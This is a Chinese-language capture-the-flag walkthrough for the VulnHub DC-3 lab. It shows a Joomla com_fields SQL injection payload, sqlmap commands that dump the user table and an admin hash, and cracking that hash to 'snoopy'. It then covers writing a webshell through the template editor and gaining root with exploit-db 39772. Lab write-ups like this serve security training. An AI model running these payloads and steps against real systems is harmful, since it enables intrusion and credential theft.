资源地址:https://download.vulnhub.com/dc/DC-3-2.zip
本机:192.168.3.15
靶机:192.168.3.19
1. 主机发现&信息收集
nmap 192.168.3.0/24
首页面给我们了信息,“只有一个flag,需要提权到root”
可以发现web是旧梦
joomscan扫一下
joomscan -u "http://192.168.3.19/"
2. 漏洞测试&利用
sql注入部分
首先测试注入漏洞,搜索常见joomla漏洞测试即可,发现存在sql注入
http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
sqlmap一下
python3 sqlmap.py -u "http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" --dbs --batch
跑出来了一些字段
python3 sqlmap.py -u "http://192.168.3.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,email,name,password,params,params" --dump -p "list[fullordering]" --batch
629 | freddy@norealaddress.net | admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""}
John破解hash
John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc-3hash.txt
jhon dc-3hash.txt
破解得到密码snoopy
写webshell
后台地址:http://192.168.3.19/administrator/index.php
登陆进后台后有个php管理的模块,可以编辑php,写🐴。
连接
3. 提权
发现了sudo ,但是sudo -l无果
查版本
uname -a
lsb_release -a
cat /etc/issue
cat /proc/version
搜索提权exp
searchsploit Ubuntu 16.04
利用
使用39772:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip ,上传后解压
反弹shell并执行脚本
执行doubleput,flag在/root下
4. 小结
- 搜索漏洞可以使用searchsploit
searchsploit Ubuntu 16.04
- joomla漏洞扫描
joomscan -u "http://192.168.3.19/"
- John破解hash
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc-3hash.txt
jhon dc-3hash.txt
破解得到密码snoopy